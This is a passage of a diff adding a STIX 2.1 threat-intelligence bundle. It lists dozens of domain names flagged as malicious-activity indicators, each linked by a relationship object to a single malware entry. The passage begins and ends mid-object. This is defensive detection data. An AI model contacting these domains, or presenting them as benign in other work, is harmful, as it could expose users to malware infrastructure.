"malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4d94a67b-14e9-411c-9b4f-ba4a58a98d55", + "created": "2023-03-29T12:58:43.873314Z", + "modified": "2023-03-29T12:58:43.873314Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='outlinecoeditor.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.873314Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e7eff7e2-227b-4532-b831-3ead07c936ab", + "created": "2023-03-29T12:58:43.874043Z", + "modified": "2023-03-29T12:58:43.874043Z", + "relationship_type": "indicates", + "source_ref": "indicator--4d94a67b-14e9-411c-9b4f-ba4a58a98d55", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--01a36a70-40f3-4c82-9074-8197d883d478", + "created": "2023-03-29T12:58:43.874217Z", + "modified": "2023-03-29T12:58:43.874217Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ganderviable.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.874217Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4e36a4ee-0946-4d49-b82d-52540bf6f257", + "created": "2023-03-29T12:58:43.874875Z", + "modified": "2023-03-29T12:58:43.874875Z", + "relationship_type": "indicates", + "source_ref": "indicator--01a36a70-40f3-4c82-9074-8197d883d478", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--edaa3473-f72c-49c3-8c9c-17328e62e901", + "created": "2023-03-29T12:58:43.87505Z", + "modified": "2023-03-29T12:58:43.87505Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='icepickmountains.info']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.87505Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--75a20992-b646-4499-a10b-8d3146accc88", + "created": "2023-03-29T12:58:43.875652Z", + "modified": "2023-03-29T12:58:43.875652Z", + "relationship_type": "indicates", + "source_ref": "indicator--edaa3473-f72c-49c3-8c9c-17328e62e901", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--86a92c41-5a27-4166-845b-cae50aebb7b0", + "created": "2023-03-29T12:58:43.875821Z", + "modified": "2023-03-29T12:58:43.875821Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='fliprevolver.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.875821Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--cd47f177-c599-4117-a5ca-207527ddeda8", + "created": "2023-03-29T12:58:43.876414Z", + "modified": "2023-03-29T12:58:43.876414Z", + "relationship_type": "indicates", + "source_ref": "indicator--86a92c41-5a27-4166-845b-cae50aebb7b0", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--90f50fba-914b-4e70-ad2d-df2abdae9196", + "created": "2023-03-29T12:58:43.876614Z", + "modified": "2023-03-29T12:58:43.876614Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='jacksonsstalle.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.876614Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--391c68ed-6b09-4b4c-9af4-2df45244cf39", + "created": "2023-03-29T12:58:43.877249Z", + "modified": "2023-03-29T12:58:43.877249Z", + "relationship_type": "indicates", + "source_ref": "indicator--90f50fba-914b-4e70-ad2d-df2abdae9196", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--eaab591b-2598-45f8-85d5-e64a07b41a37", + "created": "2023-03-29T12:58:43.87742Z", + "modified": "2023-03-29T12:58:43.87742Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='catfighthandbrake.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.87742Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--89a39cc5-7579-4086-9fd3-e708b94f6fb9", + "created": "2023-03-29T12:58:43.878051Z", + "modified": "2023-03-29T12:58:43.878051Z", + "relationship_type": "indicates", + "source_ref": "indicator--eaab591b-2598-45f8-85d5-e64a07b41a37", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--17df9231-6742-463b-8fcc-2cbbe3b3747a", + "created": "2023-03-29T12:58:43.87822Z", + "modified": "2023-03-29T12:58:43.87822Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='speakeasypaths.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.87822Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3d67162b-48d7-4e8e-a2b3-e637a6188125", + "created": "2023-03-29T12:58:43.878821Z", + "modified": "2023-03-29T12:58:43.878821Z", + "relationship_type": "indicates", + "source_ref": "indicator--17df9231-6742-463b-8fcc-2cbbe3b3747a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cbf9a362-f949-4778-bf99-7b77aca69101", + "created": "2023-03-29T12:58:43.87899Z", + "modified": "2023-03-29T12:58:43.87899Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bonyproactive.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.87899Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b03d71d6-8d5e-4789-93b1-0b0899039de6", + "created": "2023-03-29T12:58:43.879587Z", + "modified": "2023-03-29T12:58:43.879587Z", + "relationship_type": "indicates", + "source_ref": "indicator--cbf9a362-f949-4778-bf99-7b77aca69101", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--55d904bb-39ce-4f00-ad44-5142135d2549", + "created": "2023-03-29T12:58:43.879756Z", + "modified": "2023-03-29T12:58:43.879756Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='unrefinedconfigure.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.879756Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1d8e42f7-7e76-4524-83b9-542d163c5327", + "created": "2023-03-29T12:58:43.880374Z", + "modified": "2023-03-29T12:58:43.880374Z", + "relationship_type": "indicates", + "source_ref": "indicator--55d904bb-39ce-4f00-ad44-5142135d2549", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--25e832a0-5c6f-4375-a304-2754e85e1900", + "created": "2023-03-29T12:58:43.880543Z", + "modified": "2023-03-29T12:58:43.880543Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='unreachedsurfboard.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.880543Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b53dd4ea-2131-407b-8e0d-feafc2d40864", + "created": "2023-03-29T12:58:43.881262Z", + "modified": "2023-03-29T12:58:43.881262Z", + "relationship_type": "indicates", + "source_ref": "indicator--25e832a0-5c6f-4375-a304-2754e85e1900", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fbef93e6-06da-47c7-a03f-2997c1c67821", + "created": "2023-03-29T12:58:43.881439Z", + "modified": "2023-03-29T12:58:43.881439Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='browsingoutsource.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.881439Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a3ca722c-8d08-41dc-b83b-f8f4ab7caecf", + "created": "2023-03-29T12:58:43.882061Z", + "modified": "2023-03-29T12:58:43.882061Z", + "relationship_type": "indicates", + "source_ref": "indicator--fbef93e6-06da-47c7-a03f-2997c1c67821", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--676a4440-bfc3-4bc3-bb63-8dd2e2552614", + "created": "2023-03-29T12:58:43.88223Z", + "modified": "2023-03-29T12:58:43.88223Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bacteriumconflict.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.88223Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b5f39677-66e6-4d96-adbf-83b8f6d26eda", + "created": "2023-03-29T12:58:43.882835Z", + "modified": "2023-03-29T12:58:43.882835Z", + "relationship_type": "indicates", + "source_ref": "indicator--676a4440-bfc3-4bc3-bb63-8dd2e2552614", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--883cc873-9ac9-435d-9c67-2d6611c16a9c", + "created": "2023-03-29T12:58:43.883004Z", + "modified": "2023-03-29T12:58:43.883004Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='capitolwharf.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.883004Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--69de1a67-2c22-4e4f-b695-ebd6bd898011", + "created": "2023-03-29T12:58:43.883606Z", + "modified": "2023-03-29T12:58:43.883606Z", + "relationship_type": "indicates", + "source_ref": "indicator--883cc873-9ac9-435d-9c67-2d6611c16a9c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e58847ac-9a89-4ae3-aecd-0f2ffa7c8f8d", + "created": "2023-03-29T12:58:43.883774Z", + "modified": "2023-03-29T12:58:43.883774Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='legiblereaffirm.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.883774Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0febf2e3-61e5-440d-a6ca-46926fa0df44", + "created": "2023-03-29T12:58:43.884375Z", + "modified": "2023-03-29T12:58:43.884375Z", + "relationship_type": "indicates", + "source_ref": "indicator--e58847ac-9a89-4ae3-aecd-0f2ffa7c8f8d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fb49b7c3-074d-4403-a637-ebcc9087db6c", + "created": "2023-03-29T12:58:43.884544Z", + "modified": "2023-03-29T12:58:43.884544Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='headbandcrispy.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.884544Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ddb9af4d-db6d-41e8-ae2a-b827c2780c5f", + "created": "2023-03-29T12:58:43.885141Z", + "modified": "2023-03-29T12:58:43.885141Z", + "relationship_type": "indicates", + "source_ref": "indicator--fb49b7c3-074d-4403-a637-ebcc9087db6c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6806688a-9ac7-4132-ac27-baf0a839e27c", + "created": "2023-03-29T12:58:43.885308Z", + "modified": "2023-03-29T12:58:43.885308Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='liputtan6.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.885308Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--42cc2228-a9b7-4677-8cd2-1108dc05d192", + "created": "2023-03-29T12:58:43.886019Z", + "modified": "2023-03-29T12:58:43.886019Z", + "relationship_type": "indicates", + "source_ref": "indicator--6806688a-9ac7-4132-ac27-baf0a839e27c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f722715b-8e70-4fa5-b73f-887a55a8a723", + "created": "2023-03-29T12:58:43.886193Z", + "modified": "2023-03-29T12:58:43.886193Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='politelyturban.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.886193Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bb0e5304-bd47-48b3-a9d0-f64e255da3e9", + "created": "2023-03-29T12:58:43.886799Z", + "modified": "2023-03-29T12:58:43.886799Z", + "relationship_type": "indicates", + "source_ref": "indicator--f722715b-8e70-4fa5-b73f-887a55a8a723", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8500d8ef-9f1e-49bf-9c6e-faa99716f524", + "created": "2023-03-29T12:58:43.886968Z", + "modified": "2023-03-29T12:58:43.886968Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='latergain.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.886968Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0bf9081f-2f44-435b-b5cf-18b12a890610", + "created": "2023-03-29T12:58:43.887559Z", + "modified": "2023-03-29T12:58:43.887559Z", + "relationship_type": "indicates", + "source_ref": "indicator--8500d8ef-9f1e-49bf-9c6e-faa99716f524", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ee78e5c5-0d01-46b9-bd77-8e1eccadb3f4", + "created": "2023-03-29T12:58:43.887732Z", + "modified": "2023-03-29T12:58:43.887732Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='humoristnuclei.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.887732Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9b384308-bfd8-46e0-a5fa-158e20bc14ab", + "created": "2023-03-29T12:58:43.888457Z", + "modified": "2023-03-29T12:58:43.888457Z", + "relationship_type": "indicates", + "source_ref": "indicator--ee78e5c5-0d01-46b9-bd77-8e1eccadb3f4", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7699746e-afa4-4ed4-a025-35c5e6b66535", + "created": "2023-03-29T12:58:43.888631Z", + "modified": "2023-03-29T12:58:43.888631Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='jujitsuthermos.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.888631Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5e27ee85-06ca-482e-83d0-df48ded0e536", + "created": "2023-03-29T12:58:43.889233Z", + "modified": "2023-03-29T12:58:43.889233Z", + "relationship_type": "indicates", + "source_ref": "indicator--7699746e-afa4-4ed4-a025-35c5e6b66535", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--75adee97-af4f-40df-95b3-2ca965d7a4f8", + "created": "2023-03-29T12:58:43.889402Z", + "modified": "2023-03-29T12:58:43.889402Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bluecheckered.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.889402Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f16569f3-6b83-4034-9f02-545d4d447736", + "created": "2023-03-29T12:58:43.890005Z", + "modified": "2023-03-29T12:58:43.890005Z", + "relationship_type": "indicates", + "source_ref": "indicator--75adee97-af4f-40df-95b3-2ca965d7a4f8", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e4b72c2a-9374-4b18-baf9-1b4643255756", + "created": "2023-03-29T12:58:43.890173Z", + "modified": "2023-03-29T12:58:43.890173Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='firstyellowbox.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.890173Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--59deb664-a2d0-4c08-804e-c107c3e8d57e", + "created": "2023-03-29T12:58:43.890776Z", + "modified": "2023-03-29T12:58:43.890776Z", + "relationship_type": "indicates", + "source_ref": "indicator--e4b72c2a-9374-4b18-baf9-1b4643255756", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c390dbe2-c697-4244-9b42-a2a118656347", + "created": "2023-03-29T12:58:43.890945Z", + "modified": "2023-03-29T12:58:43.890945Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='fringeheroics.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.890945Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7782258c-156d-4793-8e5b-5fdb2b0c4954", + "created": "2023-03-29T12:58:43.891584Z", + "modified": "2023-03-29T12:58:43.891584Z", + "relationship_type": "indicates", + "source_ref": "indicator--c390dbe2-c697-4244-9b42-a2a118656347", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4d29265d-78da-4cbb-ac57-a61373633534", + "created": "2023-03-29T12:58:43.891755Z", + "modified": "2023-03-29T12:58:43.891755Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='neuroticoutfield.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.891755Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--301cfa98-bcb8-4347-856a-74fc56cf0377", + "created": "2023-03-29T12:58:43.892357Z", + "modified": "2023-03-29T12:58:43.892357Z", + "relationship_type": "indicates", + "source_ref": "indicator--4d29265d-78da-4cbb-ac57-a61373633534", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9af1e93b-33c7-4c84-b4c1-d81ae2cef8fc", + "created": "2023-03-29T12:58:43.892528Z", + "modified": "2023-03-29T12:58:43.892528Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='unauditedkilometer.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.892528Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--20c9719b-a02e-4625-9d80-aa254fcb3fba", + "created": "2023-03-29T12:58:43.893132Z", + "modified": "2023-03-29T12:58:43.893132Z", + "relationship_type": "indicates", + "source_ref": "indicator--9af1e93b-33c7-4c84-b4c1-d81ae2cef8fc", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--aef23ecf-c528-42bf-81d0-b68da28eafa0", + "created": "2023-03-29T12:58:43.893343Z", + "modified": "2023-03-29T12:58:43.893343Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='lostship.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.893343Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--38a135c1-20ac-4d00-8dd0-b328a14ebd43", + "created": "2023-03-29T12:58:43.893972Z", + "modified": "2023-03-29T12:58:43.893972Z", + "relationship_type": "indicates", + "source_ref": "indicator--aef23ecf-c528-42bf-81d0-b68da28eafa0", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d4a4e8bc-cce1-435f-9964-85abca2b44f7", + "created": "2023-03-29T12:58:43.894146Z", + "modified": "2023-03-29T12:58:43.894146Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='massbulb.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.894146Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e9cd81d5-a725-4472-b90f-f66d4b616299", + "created": "2023-03-29T12:58:43.894746Z", + "modified": "2023-03-29T12:58:43.894746Z", + "relationship_type": "indicates", + "source_ref": "indicator--d4a4e8bc-cce1-435f-9964-85abca2b44f7", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ef13ace5-0466-44a3-8c91-673ba0f1e558", + "created": "2023-03-29T12:58:43.894915Z", + "modified": "2023-03-29T12:58:43.894915Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='graftinghandyman.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.894915Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--16dc7a7e-ab21-4ef5-b5c2-c58ead93a6a0", + "created": "2023-03-29T12:58:43.895637Z", + "modified": "2023-03-29T12:58:43.895637Z", + "relationship_type": "indicates", + "source_ref": "indicator--ef13ace5-0466-44a3-8c91-673ba0f1e558", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2911a28c-f581-4f93-afaa-8d936ac9072e", + "created": "2023-03-29T12:58:43.895809Z", + "modified": "2023-03-29T12:58:43.895809Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='scoundrelarrival.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.895809Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bcb284e0-ac56-4f7d-8145-88eefaccd000", + "created": "2023-03-29T12:58:43.896433Z", + "modified": "2023-03-29T12:58:43.896433Z", + "relationship_type": "indicates", + "source_ref": "indicator--2911a28c-f581-4f93-afaa-8d936ac9072e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--621c4e70-7bfb-4ebe-88c0-e77cce33b967", + "created": "2023-03-29T12:58:43.896605Z", + "modified": "2023-03-29T12:58:43.896605Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='coherencesector.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.896605Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--160e81db-9208-4f85-bb73-0a54556cd3cc", + "created": "2023-03-29T12:58:43.897205Z", + "modified": "2023-03-29T12:58:43.897205Z", + "relationship_type": "indicates", + "source_ref": "indicator--621c4e70-7bfb-4ebe-88c0-e77cce33b967", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c5209342-21cc-433b-a7d2-d3636ae662a2", + "created": "2023-03-29T12:58:43.897374Z", + "modified": "2023-03-29T12:58:43.897374Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='chapsonroad.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.897374Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--576170c2-2b5d-4755-a37f-5158de16c304", + "created": "2023-03-29T12:58:43.897973Z", + "modified": "2023-03-29T12:58:43.897973Z", + "relationship_type": "indicates", + "source_ref": "indicator--c5209342-21cc-433b-a7d2-d3636ae662a2", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--59dbbf85-e2d1-4acf-9a8a-38eb3c24d6e0", + "created": "2023-03-29T12:58:43.898143Z", + "modified": "2023-03-29T12:58:43.898143Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='dynastyprewashed.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.898143Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--28404d41-f8f1-4761-9f90-082ebcaa5a2d", + "created": "2023-03-29T12:58:43.898756Z", + "modified": "2023-03-29T12:58:43.898756Z", + "relationship_type": "indicates", + "source_ref": "indicator--59dbbf85-e2d1-4acf-9a8a-38eb3c24d6e0", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f1572c9b-eb9a-44cb-82b8-44e18118ae7b", + "created": "2023-03-29T12:58:43.898927Z", + "modified": "2023-03-29T12:58:43.898927Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='leogarage.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.898927Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--05b87a98-882e-42c8-965d-b92a328aec0c", + "created": "2023-03-29T12:58:43.899525Z", + "modified": "2023-03-29T12:58:43.899525Z", + "relationship_type": "indicates", + "source_ref": "indicator--f1572c9b-eb9a-44cb-82b8-44e18118ae7b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--bbe3d07e-990b-4044-8901-09309b575705", + "created": "2023-03-29T12:58:43.899694Z", + "modified": "2023-03-29T12:58:43.899694Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='improviseshopper.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.899694Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--144fa686-f281-437e-ac1c-a2be3af1432c", + "created": "2023-03-29T12:58:43.900298Z", + "modified": "2023-03-29T12:58:43.900298Z", + "relationship_type": "indicates", + "source_ref": "indicator--bbe3d07e-990b-4044-8901-09309b575705", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--da7c46e3-ec02-4044-80cd-ac96783f13ac", + "created": "2023-03-29T12:58:43.900467Z", + "modified": "2023-03-29T12:58:43.900467Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cassattcurrent.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.900467Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8c66cacb-e7a5-480c-8e34-69c0d2237c07", + "created": "2023-03-29T12:58:43.901068Z", + "modified": "2023-03-29T12:58:43.901068Z", + "relationship_type": "indicates", + "source_ref": "indicator--da7c46e3-ec02-4044-80cd-ac96783f13ac", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--aa05f82f-34c0-430d-a9af-15f015e45937", + "created": "2023-03-29T12:58:43.901236Z", + "modified": "2023-03-29T12:58:43.901236Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='erraticstray.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.901236Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--db4d53b1-8034-4a17-941f-5ea92556d241", + "created": "2023-03-29T12:58:43.901851Z", + "modified": "2023-03-29T12:58:43.901851Z", + "relationship_type": "indicates", + "source_ref": "indicator--aa05f82f-34c0-430d-a9af-15f015e45937", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--24d8e999-4ed7-472f-bae6-18a298e93d2b", + "created": "2023-03-29T12:58:43.902021Z", + "modified": "2023-03-29T12:58:43.902021Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='matingvocation.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.902021Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3572c3c0-a9d3-446c-9e2c-3039caa8d740", + "created": "2023-03-29T12:58:43.902733Z", + "modified": "2023-03-29T12:58:43.902733Z", + "relationship_type": "indicates", + "source_ref": 